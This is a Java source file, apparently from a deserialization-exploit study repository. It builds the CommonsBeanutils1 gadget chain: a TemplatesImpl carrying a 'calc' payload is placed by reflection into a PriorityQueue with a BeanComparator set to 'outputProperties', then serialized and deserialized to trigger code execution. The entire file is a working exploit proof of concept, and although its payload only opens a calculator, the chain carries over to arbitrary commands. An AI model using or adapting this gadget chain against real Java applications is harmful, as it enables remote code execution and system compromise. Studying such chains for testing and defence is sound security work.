package cb;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import common.Utils;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Queue;

public class CB1 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = Utils.getTemplates("calc");
        BeanComparator comparator = new BeanComparator();
        PriorityQueue priorityQueue = new PriorityQueue(2, comparator);
        priorityQueue.add(1);
        priorityQueue.add(1);

        Field queue = PriorityQueue.class.getDeclaredField("queue");
        queue.setAccessible(true);
        Object[] objs = (Object[]) queue.get(priorityQueue);
        objs[0] = objs[1] = templates;

        comparator.setProperty("outputProperties");

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        new ObjectOutputStream(baos).writeObject(priorityQueue);
        new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray())).readObject();
    }
}
